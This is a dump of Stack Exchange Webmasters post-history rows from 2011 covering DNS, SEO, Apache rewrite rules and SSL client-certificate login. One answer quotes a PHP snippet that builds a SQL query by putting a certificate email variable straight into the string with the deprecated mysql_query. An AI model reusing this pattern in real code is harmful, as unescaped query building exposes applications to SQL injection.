  <row Id="38623" PostHistoryTypeId="5" PostId="16235" RevisionGUID="d9d6cf99-56c8-4006-92cb-b8fc79a71a6c" CreationDate="2011-06-30T12:09:31.497" UserId="1253" Comment="added 730 characters in body" Text="Unfortunately there is not a way to tell Google not to do that as of right now. &#xD;&#xA;&#xD;&#xA;But [this web page][1] had a couple of suggestions worth mentioning:&#xD;&#xA;&#xD;&#xA;&gt; 1. Use image based dates instead of the usual theme (PHP) generated server&#xD;&#xA;&gt; side time stamp. In this case, you&#xD;&#xA;&gt; have to convert the date string to&#xD;&#xA;&gt; images and hence it may not be very&#xD;&#xA;&gt; easy to create the image styles that&#xD;&#xA;&gt; exactly match your theme. Also, you&#xD;&#xA;&gt; may have to change it every time you&#xD;&#xA;&gt; change your styles.&#xD;&#xA;&gt; &#xD;&#xA;&gt; 2. Use client side logic (javascript) to render the dates so that when&#xD;&#xA;&gt; Google picks the page, it doesn’t&#xD;&#xA;&gt; quite read whatever (date) is there&#xD;&#xA;&gt; between the script tags. I prefer this&#xD;&#xA;&gt; method.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dollarshower.com/how-to-remove-date-stamp-from-google-serp-description/" />
  <row Id="38624" PostHistoryTypeId="25" PostId="16234" RevisionGUID="bd43b14e-db7e-4a6c-92a8-115b14c3a8ef" CreationDate="2011-06-30T12:26:07.407" Comment="http://twitter.com/#!/StackWebmasters/status/86410178693570561" />
  <row Id="38625" PostHistoryTypeId="5" PostId="16191" RevisionGUID="a49dd672-ade8-4a68-907f-ad81e1113423" CreationDate="2011-06-30T12:27:25.393" UserId="1643" Comment="fixed typos" Text="Is it possible to put Facebook events created by me on my facebook groups, on an asp.net page created with c#? If it is possible, how do you do it?" />
  <row Id="38626" PostHistoryTypeId="2" PostId="16237" RevisionGUID="a01b244c-6e7a-4230-962a-ec2ae3348225" CreationDate="2011-06-30T12:38:37.083" UserId="8726" Text="I am setting up a web site for a client.  She is using GoDaddy for domain registration, and a hosting company I have never used before.  After setting up the nameservers on GoDaddy's side, the address foobar.com (for example) is correctly directing to the new site.  However, the address www.foobar.com is redirecting to a 404 page on the hosting company's side.&#xD;&#xA;&#xD;&#xA;I've been dealing with customer service on the hosting side, and they have told me various things including wait for DNS propagation (which has obviously happened since the 404 page is on their side), and to make sure that the nameservers on GoDaddy's side were entered in lower case instead of upper case (which I know doesn't matter since nameservers are case insensitive).&#xD;&#xA;&#xD;&#xA;I think I'm getting the runaround from the hosting company, but the client had signed up with them before I came to the project, so if possible I'd like to resolve this issue with them before we start treating it as a loss.  &#xD;&#xA;&#xD;&#xA;Does anybody know what could cause foobar.com to resolve correctly but www.foobar.com to not resolve?  How would I best be able to suggest a fix to this through the technical support channels of a hosting company?" />
  <row Id="38627" PostHistoryTypeId="1" PostId="16237" RevisionGUID="a01b244c-6e7a-4230-962a-ec2ae3348225" CreationDate="2011-06-30T12:38:37.083" UserId="8726" Text="foobar.com working, but www.foobar.com not working?" />
  <row Id="38628" PostHistoryTypeId="3" PostId="16237" RevisionGUID="a01b244c-6e7a-4230-962a-ec2ae3348225" CreationDate="2011-06-30T12:38:37.083" UserId="8726" Text="&lt;web-hosting&gt;&lt;domain-names&gt;&lt;domain-registration&gt;" />
  <row Id="38629" PostHistoryTypeId="2" PostId="16238" RevisionGUID="d7a8dca2-4189-404c-8ea9-cc287fa0b780" CreationDate="2011-06-30T12:40:30.650" UserId="5015" Text="I am searching for a free script in ASP.NET(C# o VB.NET) and Ajax form image gallery, can you help me?" />
  <row Id="38630" PostHistoryTypeId="1" PostId="16238" RevisionGUID="d7a8dca2-4189-404c-8ea9-cc287fa0b780" CreationDate="2011-06-30T12:40:30.650" UserId="5015" Text="Free ASP.NET Ajax Image gallery" />
  <row Id="38631" PostHistoryTypeId="3" PostId="16238" RevisionGUID="d7a8dca2-4189-404c-8ea9-cc287fa0b780" CreationDate="2011-06-30T12:40:30.650" UserId="5015" Text="&lt;asp.net&gt;&lt;free&gt;&lt;ajax&gt;" />
  <row Id="38632" PostHistoryTypeId="2" PostId="16239" RevisionGUID="f8cb0b39-eb99-4108-a6ca-d758c4c1da4d" CreationDate="2011-06-30T12:50:43.770" UserId="8068" Text="First check the DNS. By using the `dig` program (for example) verify that the IP addresses are the same for 'foobar.com' and 'www.foobar.com'.&#xD;&#xA;&#xD;&#xA;If the addresses are OK, the next thing that may be wrong is virtual server configuration. Ask the hosting company how their webserver (Apache maybe?) handles the 'www' prefix." />
  <row Id="38633" PostHistoryTypeId="2" PostId="16240" RevisionGUID="e9c2fb44-e0de-49c3-925a-e2f6eceebd37" CreationDate="2011-06-30T12:53:35.467" UserId="4033" Text="foobar.com is different than www.foobar.com . Generally most websites redirect &quot;www&quot; to foobar.com so it will be easier for users.&#xD;&#xA;&#xD;&#xA;It is highly possible that you don't have such a redirect.&#xD;&#xA;&#xD;&#xA;If your hosting plan supports this you can use an .htaccess (Apache web server) file to do that. If not you should contact hosting company to do this redirect for you.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38634" PostHistoryTypeId="2" PostId="16241" RevisionGUID="b4168e77-68ec-4888-8069-840064816bfd" CreationDate="2011-06-30T12:55:05.700" UserId="7801" Text="Yelp came back to us and removed the bad review as it &quot;breached the content guidelines&quot;. I can't help but think it was the stern words I used in the request!&#xD;&#xA;&#xD;&#xA;Anyways, the moral of the story I guess is to contact the site the bad review/press is on and get them to directly remove the article in question.&#xD;&#xA;&#xD;&#xA;The second moral is Google your own company name to stop any bad press as quickly as possible... especially if it's pure slander like this was." />
  <row Id="38635" PostHistoryTypeId="5" PostId="16176" RevisionGUID="9a820295-e206-40aa-b522-1c0b25dddd00" CreationDate="2011-06-30T13:00:43.700" UserId="3" Comment="deleted 71 characters in body" Text="I think it is mandatory to have a good title on every page, for both SEO and usability.&#xD;&#xA;&#xD;&#xA;SEO:&#xD;&#xA;&#xD;&#xA;I think search engines look at the title tag from left to right in importance. And they only take a couple of words in account. Not sure if this is still the case though.&#xD;&#xA;&#xD;&#xA;Usabilty:&#xD;&#xA;&#xD;&#xA;It is nice to see what tabs you have opened in your browser. It is nice to see what bookmarks you have. I recommend the form `page title - site title`" />
  <row Id="38636" PostHistoryTypeId="6" PostId="16238" RevisionGUID="3e5ec607-9acd-4411-b7a8-89930ff296ff" CreationDate="2011-06-30T13:06:27.547" UserId="1253" Comment="edited tags" Text="&lt;looking-for-a-script&gt;&lt;asp.net&gt;&lt;free&gt;&lt;ajax&gt;" />
  <row Id="38637" PostHistoryTypeId="2" PostId="16242" RevisionGUID="f42a6cfe-6a82-4253-8a83-1708bcb7b24d" CreationDate="2011-06-30T13:12:52.567" UserId="8228" Text="Does a well formed xhtml or html document affect SEO at all? I've read conflicting things on whether W3C complaint documents are important from an SEO perspective." />
  <row Id="38638" PostHistoryTypeId="1" PostId="16242" RevisionGUID="f42a6cfe-6a82-4253-8a83-1708bcb7b24d" CreationDate="2011-06-30T13:12:52.567" UserId="8228" Text="Does W3C Compliancy affect SEO at all?" />
  <row Id="38639" PostHistoryTypeId="3" PostId="16242" RevisionGUID="f42a6cfe-6a82-4253-8a83-1708bcb7b24d" CreationDate="2011-06-30T13:12:52.567" UserId="8228" Text="&lt;seo&gt;&lt;standards&gt;" />
  <row Id="38640" PostHistoryTypeId="5" PostId="16242" RevisionGUID="25c37d61-ee5a-4bb8-b2a5-4634040e771a" CreationDate="2011-06-30T13:14:58.757" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Is the W3 standard a major factor when google decides SERP position?](http://webmasters.stackexchange.com/questions/7100/is-the-w3-standard-a-major-factor-when-google-decides-serp-position)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Does a well formed xhtml or html document affect SEO at all? I've read conflicting things on whether W3C complaint documents are important from an SEO perspective." />
  <row Id="38641" PostHistoryTypeId="10" PostId="16242" RevisionGUID="48628793-c18c-4c34-8324-4dd5a08608ed" CreationDate="2011-06-30T13:14:58.257" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1643,&quot;DisplayName&quot;:&quot;paulmorriss&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="38642" PostHistoryTypeId="2" PostId="16243" RevisionGUID="d7a73cd8-be8d-4d43-9418-b84dea237339" CreationDate="2011-06-30T13:29:35.110" UserId="8728" Text="Not sure if this belongs here or at serverfault...&#xD;&#xA;&#xD;&#xA;I've seen websites where, to login to the website, requires a digital certificate to be installed for the user logging in. As far as I can tell, this certificate is in addition to the website using an SSL certificate (https)&#xD;&#xA;&#xD;&#xA;I'm just looking to be pointed in the right direction on how to code for this (apache / php hopefully), who issues these certificates (must it be a trusted var or can I ?) or even what to search for via google.&#xD;&#xA;&#xD;&#xA;-Mario" />
  <row Id="38643" PostHistoryTypeId="1" PostId="16243" RevisionGUID="d7a73cd8-be8d-4d43-9418-b84dea237339" CreationDate="2011-06-30T13:29:35.110" UserId="8728" Text="certificate for website login" />
  <row Id="38644" PostHistoryTypeId="3" PostId="16243" RevisionGUID="d7a73cd8-be8d-4d43-9418-b84dea237339" CreationDate="2011-06-30T13:29:35.110" UserId="8728" Text="&lt;ssl-certificate&gt;" />
  <row Id="38645" PostHistoryTypeId="2" PostId="16244" RevisionGUID="87fd1023-cd74-4b49-bc6a-d52609fdb93b" CreationDate="2011-06-30T13:39:03.093" UserId="8727" Text="I'm far from an expert on this, but I'll try to be as clear as possible.&#xD;&#xA;&#xD;&#xA;I have an eshop solution leased from a company and it's hosted on their server. I can access it thru company.com/myshop and it also allows me to set up to 3 domains that they should recognize and redirect to my specific shop from.&#xD;&#xA;&#xD;&#xA;I registered a domain with a different company and am trying to &quot;redirect&quot; it to the eshop. By means of one of the following DNS entries (as they look in the admin GUI)&#xD;&#xA;&#xD;&#xA;* \* A 111.111.111.111&#xD;&#xA;* \*.myshop.com A 111.111.111.111&#xD;&#xA;* myshop.com A 111.111.111.111	&#xD;&#xA;&#xD;&#xA;I've managed to make www.myshop.com redirect to the IP of company.com (111.111.111.111), which then goes on to do exactly what I expect it to do (ie. recognizes it comes from my domain, does some further redirects itself). However, I **can't seem to make myshop.com** (ie. without the www) **redirect** to that IP, too.&#xD;&#xA;&#xD;&#xA;The company that I registered the domain with provides a &quot;URL redirect&quot; service, but google would only register the redirect request and wouldn't follow it. That's why I hope for a DNS solution to this - my assumption being I've managed to miss adding a record to the DNS; if, however, the reason lies elsewhere, I'd be happy to hear about that too. If it's a search engine friendly solution (ie the www/no-www dilemma - avoidance of double content penalties), then that's even better; have no prefference either way (www/no-www), just need it to work.&#xD;&#xA;&#xD;&#xA;Any help is greatly appreciated, thanks&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38646" PostHistoryTypeId="1" PostId="16244" RevisionGUID="87fd1023-cd74-4b49-bc6a-d52609fdb93b" CreationDate="2011-06-30T13:39:03.093" UserId="8727" Text="no-www redirect not working / DNS A record" />
  <row Id="38647" PostHistoryTypeId="3" PostId="16244" RevisionGUID="87fd1023-cd74-4b49-bc6a-d52609fdb93b" CreationDate="2011-06-30T13:39:03.093" UserId="8727" Text="&lt;redirects&gt;&lt;dns&gt;&lt;no-www&gt;" />
  <row Id="38648" PostHistoryTypeId="2" PostId="16245" RevisionGUID="9189e826-3a2d-4527-b0d1-5127888f2aaa" CreationDate="2011-06-30T13:46:12.767" UserId="1643" Text="If you have to install a certificate, it's because it's not trusted. It's not in addition to using an &quot;SSL certificate&quot;, it's in addition to using SSL.&#xD;&#xA;&#xD;&#xA;If you search for &quot;create self signed certificate&quot; then you should find instructions on creating it, and &quot;install certificate apache&quot; for installing it. It's not a good thing to do as it makes your users think it's OK to use unsigned certificates. However if you can't afford a signed one then you'll have to create your own.&#xD;&#xA;&#xD;&#xA;More information at [wikipedia][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Ssl_certificate#Certificates_and_web_site_security" />
  <row Id="38649" PostHistoryTypeId="5" PostId="16245" RevisionGUID="91f7c6ff-b5ab-4845-bcbf-e188b9207b59" CreationDate="2011-06-30T14:04:06.197" UserId="1643" Comment="deleted 237 characters in body" Text="You want an SSL client certificate. The server certificate proves who they are, the client certificate proves who you are to them.&#xD;&#xA;&#xD;&#xA;Here's some apache documentation on how to configure your site: http://httpd.apache.org/docs/2.0/ssl/ssl_howto.html#certauthenticate&#xD;&#xA;&#xD;&#xA;This blog post is interesting:&#xD;&#xA;http://www.gnegg.ch/2008/05/why-is-nobody-using-ssl-client-certificates/" />
  <row Id="38650" PostHistoryTypeId="2" PostId="16246" RevisionGUID="bd0ad18b-0daf-439b-bd0e-8de356329081" CreationDate="2011-06-30T14:49:44.000" UserId="7198" Text="###Consider two-factor authentication instead&#xD;&#xA;I'd recommend a two-factor authentication (2FA) system such as those from [DuoSecurity,](http://www.duosecurity.com/) [RSA,](http://www.rsa.com/node.aspx?id=1156) [AlterEgo,](https://alteregoapp.com/) [Wikid Systems,](http://wikidsystems.com) and [Signify](http://www.signify.net/) instead of a client-side SSL certificate, because it requires little-to-no technical set up or education for your site's visitors.&#xD;&#xA;&#xD;&#xA;Instead of having to download and install a certificate, they can authenticate themselves by receiving a phone call or text message, by visiting a web page, or opening an app.&#xD;&#xA;&#xD;&#xA;###Client-side SSL certificates&#xD;&#xA;If you've seen what the above companies have to offer and still wish to use client-side SSL certificates, CAcert.org offers [this example](http://www.cacert.org/help.php?id=9) of how they use mod-ssl under Apache with PHP to authenticate visitors based on client-side certificates:&#xD;&#xA;&#xD;&#xA;###Apache config&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost 127.0.0.1:443&gt;&#xD;&#xA;    SSLEngine on&#xD;&#xA;    SSLVerifyClient require&#xD;&#xA;    SSLVerifyDepth 2&#xD;&#xA;    SSLCACertificateFile /etc/ssl/cacert.crt&#xD;&#xA;    SSLCertificateFile /etc/ssl/certs/cacert.crt&#xD;&#xA;    SSLCertificateKeyFile /etc/ssl/private/cacert.pem&#xD;&#xA;    SSLOptions +StdEnvVars&#xD;&#xA;    &#xD;&#xA;    ServerName secure.cacert.org&#xD;&#xA;    DocumentRoot /www&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;###PHP&#xD;&#xA;&#xD;&#xA;    if($_SERVER['HTTP_HOST'] == &quot;secure.cacert.org&quot;) {&#xD;&#xA;    	$query = &quot;select * from `users` where `email`='$_SERVER[SSL_CLIENT_S_DN_Email]'&quot;;&#xD;&#xA;    	$res = mysql_query($query);&#xD;&#xA;    	if(mysql_num_rows($res) &gt; 0) {&#xD;&#xA;    		$_SESSION['profile']['loggedin'] = 1;&#xD;&#xA;    		header(&quot;location: https://secure.cacert.org/account.php&quot;);&#xD;&#xA;    		exit;&#xD;&#xA;    	}&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38651" PostHistoryTypeId="5" PostId="16246" RevisionGUID="dd24b75d-e3ff-4e71-b1c6-41224382e5a6" CreationDate="2011-06-30T14:57:59.913" UserId="7198" Comment="added 71 characters in body" Text="###Consider two-factor authentication instead&#xD;&#xA;I'd recommend a two-factor authentication (2FA) system such as those from [DuoSecurity,](http://www.duosecurity.com/) [RSA,](http://www.rsa.com/node.aspx?id=1156) [AlterEgo,](https://alteregoapp.com/) [Wikid Systems,](http://wikidsystems.com) and [Signify](http://www.signify.net/) instead of a client-side SSL certificate, because it requires little-to-no technical set up or education for your site's visitors (and it's more secure than relying on an SSL client certificate alone).&#xD;&#xA;&#xD;&#xA;Instead of having to download and install a certificate, visitors can authenticate themselves by receiving a phone call or text message, by visiting a web page, or opening an app.&#xD;&#xA;&#xD;&#xA;###Client-side SSL certificates&#xD;&#xA;If you've seen what the above companies have to offer and still wish to use client-side SSL certificates, CAcert.org offers [this example](http://www.cacert.org/help.php?id=9) of how they use mod-ssl under Apache with PHP to authenticate visitors based on client-side certificates:&#xD;&#xA;&#xD;&#xA;###Apache config&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost 127.0.0.1:443&gt;&#xD;&#xA;    SSLEngine on&#xD;&#xA;    SSLVerifyClient require&#xD;&#xA;    SSLVerifyDepth 2&#xD;&#xA;    SSLCACertificateFile /etc/ssl/cacert.crt&#xD;&#xA;    SSLCertificateFile /etc/ssl/certs/cacert.crt&#xD;&#xA;    SSLCertificateKeyFile /etc/ssl/private/cacert.pem&#xD;&#xA;    SSLOptions +StdEnvVars&#xD;&#xA;    &#xD;&#xA;    ServerName secure.cacert.org&#xD;&#xA;    DocumentRoot /www&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;###PHP&#xD;&#xA;&#xD;&#xA;    if($_SERVER['HTTP_HOST'] == &quot;secure.cacert.org&quot;) {&#xD;&#xA;    	$query = &quot;select * from `users` where `email`='$_SERVER[SSL_CLIENT_S_DN_Email]'&quot;;&#xD;&#xA;    	$res = mysql_query($query);&#xD;&#xA;    	if(mysql_num_rows($res) &gt; 0) {&#xD;&#xA;    		$_SESSION['profile']['loggedin'] = 1;&#xD;&#xA;    		header(&quot;location: https://secure.cacert.org/account.php&quot;);&#xD;&#xA;    		exit;&#xD;&#xA;    	}&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38652" PostHistoryTypeId="25" PostId="16243" RevisionGUID="096330d8-8e95-420c-82c4-307b6d8bd788" CreationDate="2011-06-30T15:26:07.557" Comment="http://twitter.com/#!/StackWebmasters/status/86455479332638721" />
  <row Id="38653" PostHistoryTypeId="2" PostId="16247" RevisionGUID="4ebc1670-818d-44b2-8d68-ca9153bcc16d" CreationDate="2011-06-30T16:54:06.100" UserId="8714" Text="I've used [Gallery Server Pro][1], if you use webmatrix you can find it in the &quot;web gallery&quot; it's easy to install.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.galleryserverpro.com" />
  <row Id="38654" PostHistoryTypeId="17" PostId="16248" RevisionGUID="b415bb50-1b7c-4dd4-8637-54111694947c" CreationDate="2011-06-30T17:39:38.957" UserId="-1" Comment="from http://stackoverflow.com/questions/6531300/apache-filesmatch-regexp-can-it-match-by-the-cache-buster-10-digit-rails-genera" Text="" />
  <row Id="38655" PostHistoryTypeId="17" PostId="16249" RevisionGUID="ab076dc1-1567-41c1-84ad-003469cc162f" CreationDate="2011-06-30T17:39:38.957" UserId="-1" Comment="from http://stackoverflow.com/questions/6531300/apache-filesmatch-regexp-can-it-match-by-the-cache-buster-10-digit-rails-genera" Text="" />
  <row Id="38656" PostHistoryTypeId="2" PostId="16249" RevisionGUID="8a18f5db-ba15-4f65-84a7-e421abedef64" CreationDate="2011-06-30T15:04:46.617" UserDisplayName="ynkr" Text="Ran a simple test and I think I have the answer.&#xD;&#xA;&#xD;&#xA;Resource name: http://localhost:3000/stylesheets/baseline.css?1309365344&#xD;&#xA;&#xD;&#xA;**First Test** -- Failed -- This did not cache the baseline.css file&#xD;&#xA;&#xD;&#xA;    &lt;FilesMatch &quot;baseline.css\?1309365344&quot;&gt;&#xD;&#xA;    	ExpiresActive On&#xD;&#xA;    	ExpiresDefault &quot;now plus 1 week&quot;&#xD;&#xA;    &lt;/FilesMatch&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Second Test** -- Success -- This did cache the baseline.css file&#xD;&#xA;&#xD;&#xA;    &lt;FilesMatch &quot;baseline.css&quot;&gt;&#xD;&#xA;    	ExpiresActive On&#xD;&#xA;    	ExpiresDefault &quot;now plus 1 week&quot;&#xD;&#xA;    &lt;/FilesMatch&gt;&#xD;&#xA;&#xD;&#xA;**Conclusion**: When apache says &quot;FilesMatch directive provides for access control by filename&quot;, they do not include anything after the extension as part of the filename.&#xD;&#xA;&#xD;&#xA;However, I still need to find a way to only apply the ExpiresDefault to resources that has a timestamp on the resource path; I'll put that in [another question][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/6537078/apache-filesmatch-how-to-only-match-assets-with-a-timestamp-appended" />
  <row Id="38657" PostHistoryTypeId="2" PostId="16248" RevisionGUID="c1f22cc9-6156-4d29-9eba-b8a5ab4ca528" CreationDate="2011-06-30T07:23:19.193" UserDisplayName="ynkr" Text="According to the apache [FilesMatch][1] docs:&#xD;&#xA;&#xD;&#xA;&gt; The FilesMatch directive provides&#xD;&#xA;&gt; for access control by filename&#xD;&#xA;&#xD;&#xA;Basically, I only want to set an expires header for resources that have a 10 digit &quot;cache buster&quot; id appended to the name. So, here is my attempt at such a thing in my httpd.conf&#xD;&#xA;&#xD;&#xA;    &lt;FilesMatch &quot;(jpg|jpeg|png|gif|js|css)\?\d{10}$&quot;&gt;&#xD;&#xA;    	ExpiresActive On&#xD;&#xA;    	ExpiresDefault &quot;now plus 5 minutes&quot;&#xD;&#xA;    &lt;/FilesMatch&gt;&#xD;&#xA;&#xD;&#xA;And here is an example of a resource I want to match:&#xD;&#xA;&#xD;&#xA;    http://localhost:3000/images/of/elvis/eating-a-bacon-sandwich.png?1306277384&#xD;&#xA;&#xD;&#xA;Now obviously my FilesMatch regexp is not matching so I am guessing 1 of 2 things is happening. Either my regexp is wonky or the '?1231231231' cache busting part of the file is not part of what apache considers part of the filename. Can anybody confirm and/or give me a way to cache only those resources that will not persist beyond the next deploy?&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/1.3/mod/core.html#filesmatch&#xD;&#xA;" />
  <row Id="38658" PostHistoryTypeId="1" PostId="16248" RevisionGUID="c1f22cc9-6156-4d29-9eba-b8a5ab4ca528" CreationDate="2011-06-30T07:23:19.193" UserDisplayName="ynkr" Text="Apache FilesMatch regexp: Can it match by the cache buster 10 digit (rails generated) following the filename?" />
  <row Id="38659" PostHistoryTypeId="3" PostId="16248" RevisionGUID="c1f22cc9-6156-4d29-9eba-b8a5ab4ca528" CreationDate="2011-06-30T07:23:19.193" UserDisplayName="ynkr" Text="&lt;apache2&gt;&lt;httpd.conf&gt;" />
  <row Id="38661" PostHistoryTypeId="25" PostId="16233" RevisionGUID="2ea096d8-3240-401c-8e4a-600be4150f91" CreationDate="2011-06-30T18:26:07.930" Comment="http://twitter.com/#!/StackWebmasters/status/86500779199963136" />
  <row Id="38662" PostHistoryTypeId="2" PostId="16251" RevisionGUID="244e184d-d37c-45d5-8de8-f9726aab5973" CreationDate="2011-06-30T18:40:45.260" UserId="876" Text="Apologies if this is a dupe.  I tried searching, but didn't find anything specifically addressing this concern.&#xD;&#xA;&#xD;&#xA;When creating a large(ish) site, page titles usually reference both the site name and the current page name.  However, it seems there are two main conventions:&#xD;&#xA;&#xD;&#xA;    Bob's Awesome Site - Contact Page&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    Contact Page - Bob's Awesome Site&#xD;&#xA;&#xD;&#xA;I've looked around, and pages usually use one of the two variants above.  **Is there any reason to use one over the other?  SEO/readability/usability/etc?**&#xD;&#xA;&#xD;&#xA;I've thought about it, and have only come up with:&#xD;&#xA;&#xD;&#xA; - Page first - Differentiates the tab when the browser is crowded with lots of tabs&#xD;&#xA; - Site first - Immediately see the &quot;parent&quot; site, so to speak; more cohesive experience" />
  <row Id="38663" PostHistoryTypeId="1" PostId="16251" RevisionGUID="244e184d-d37c-45d5-8de8-f9726aab5973" CreationDate="2011-06-30T18:40:45.260" UserId="876" Text="Should Site Title be Before or After Page Title?" />
  <row Id="38664" PostHistoryTypeId="3" PostId="16251" RevisionGUID="244e184d-d37c-45d5-8de8-f9726aab5973" CreationDate="2011-06-30T18:40:45.260" UserId="876" Text="&lt;html&gt;&lt;web-development&gt;&lt;websites&gt;&lt;title&gt;" />
  <row Id="38665" PostHistoryTypeId="5" PostId="16251" RevisionGUID="4a45492f-ba3d-4dce-86ff-ffbbbbfa681f" CreationDate="2011-06-30T18:48:28.967" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Does the order of keywords matter in a page title?](http://webmasters.stackexchange.com/questions/6556/does-the-order-of-keywords-matter-in-a-page-title)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Apologies if this is a dupe.  I tried searching, but didn't find anything specifically addressing this concern.&#xD;&#xA;&#xD;&#xA;When creating a large(ish) site, page titles usually reference both the site name and the current page name.  However, it seems there are two main conventions:&#xD;&#xA;&#xD;&#xA;    Bob's Awesome Site - Contact Page&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    Contact Page - Bob's Awesome Site&#xD;&#xA;&#xD;&#xA;I've looked around, and pages usually use one of the two variants above.  **Is there any reason to use one over the other?  SEO/readability/usability/etc?**&#xD;&#xA;&#xD;&#xA;I've thought about it, and have only come up with:&#xD;&#xA;&#xD;&#xA; - Page first - Differentiates the tab when the browser is crowded with lots of tabs&#xD;&#xA; - Site first - Immediately see the &quot;parent&quot; site, so to speak; more cohesive experience" />
  <row Id="38666" PostHistoryTypeId="10" PostId="16251" RevisionGUID="a0979c50-959a-4b24-8f0f-7f4beb71e7b7" CreationDate="2011-06-30T18:48:28.047" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="38667" PostHistoryTypeId="17" PostId="16252" RevisionGUID="fcaef538-935d-48c4-bd8c-0514758b3292" CreationDate="2011-06-30T20:10:30.243" UserId="-1" Comment="from http://stackoverflow.com/questions/6530039/can-mod-rewrite-be-used-for-this-problem" Text="" />
  <row Id="38668" PostHistoryTypeId="2" PostId="16253" RevisionGUID="e1d1fe0b-f688-43ae-b694-e37e23c699d1" CreationDate="2011-06-30T04:52:45.657" UserDisplayName="anubhava" Text="Not sure if you want to redirect only `144=&gt;1556` or it is just an example. Anyway you can try this:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks -MultiViews&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{QUERY_STRING} (^|&amp;)id=144(&amp;|$) [NC]&#xD;&#xA;    RewriteRule ^(index\.php)/?$ /$1?id=1556 [NC,R,L]&#xD;&#xA;&#xD;&#xA;Explanation:&#xD;&#xA;&#xD;&#xA;- RewriteCond is making sure there is `id=144` in query string&#xD;&#xA;- RewriteRule is making sure that request URI is `index.php` (optionally followed by a trailing slash). &#xD;&#xA;- If both conditions are satisfied then rule will redirect to `/index.php?id=1556`. (Note use of back reference `$1` instead of repeating `index.php` here).&#xD;&#xA;- Flags used are:&#xD;&#xA;&#xD;&#xA;1. NC - ignore case comparison&#xD;&#xA;2. R - redirect (by default with status = 302)&#xD;&#xA;3. L - Mark it as last rule&#xD;&#xA;&#xD;&#xA;If you really want to replace multiple old IDs to new IDs then I will suggest you to take a look at: http://httpd.apache.org/docs/current/mod/mod_rewrite.html#rewritemap" />
  <row Id="38669" PostHistoryTypeId="2" PostId="16252" RevisionGUID="5b532537-92f5-4c7d-a951-58d718a47b45" CreationDate="2011-06-30T04:45:31.627" UserDisplayName="sushil bharwani" Text="We used to have a URL &#xD;&#xA;&#xD;&#xA;`http://www.abc.com/index.php?itemID=144`&#xD;&#xA;&#xD;&#xA;which is moved to &#xD;&#xA;&#xD;&#xA;`http://www.abc.com/index.php?itemID=1556`&#xD;&#xA;&#xD;&#xA;we want our users which are hitting the above url(144) to reach to 1556. How can it be achieved. If with mod_rewrite or anything else." />
  <row Id="38670" PostHistoryTypeId="1" PostId="16252" RevisionGUID="5b532537-92f5-4c7d-a951-58d718a47b45" CreationDate="2011-06-30T04:45:31.627" UserDisplayName="sushil bharwani" Text="can mod_rewrite be used for this problem?" />
  <row Id="38671" PostHistoryTypeId="3" PostId="16252" RevisionGUID="5b532537-92f5-4c7d-a951-58d718a47b45" CreationDate="2011-06-30T04:45:31.627" UserDisplayName="sushil bharwani" Text="&lt;php&gt;&lt;apache&gt;&lt;joomla&gt;" />
  <row Id="38672" PostHistoryTypeId="17" PostId="16253" RevisionGUID="225eea36-c49d-459b-9c06-e4c3e684ccdf" CreationDate="2011-06-30T20:10:30.243" UserId="-1" Comment="from http://stackoverflow.com/questions/6530039/can-mod-rewrite-be-used-for-this-problem" Text="" />
  <row Id="38673" PostHistoryTypeId="2" PostId="16254" RevisionGUID="126bfe34-a401-42d6-b5d1-59ceefb8a2e3" CreationDate="2011-06-30T20:31:31.030" UserId="8731" Text="I'm writing a web application that will allow people to create accounts, edit stuff, send stuff to people, &amp;c. I plan on recording things like when things were created and sent and stuff.&#xD;&#xA;&#xD;&#xA;Is there a list of usage information that one should collect in a web application? I'd like to see whether I'm missing something.&#xD;&#xA;&#xD;&#xA;Also, is there a list of usage information that I shouldn't collect (Like maybe information that people find private)?" />
  <row Id="38674" PostHistoryTypeId="1" PostId="16254" RevisionGUID="126bfe34-a401-42d6-b5d1-59ceefb8a2e3" CreationDate="2011-06-30T20:31:31.030" UserId="8731" Text="List of usage information to collect in a web application" />
  <row Id="38675" PostHistoryTypeId="3" PostId="16254" RevisionGUID="126bfe34-a401-42d6-b5d1-59ceefb8a2e3" CreationDate="2011-06-30T20:31:31.030" UserId="8731" Text="&lt;web-applications&gt;&lt;privacy&gt;&lt;usage-data&gt;" />
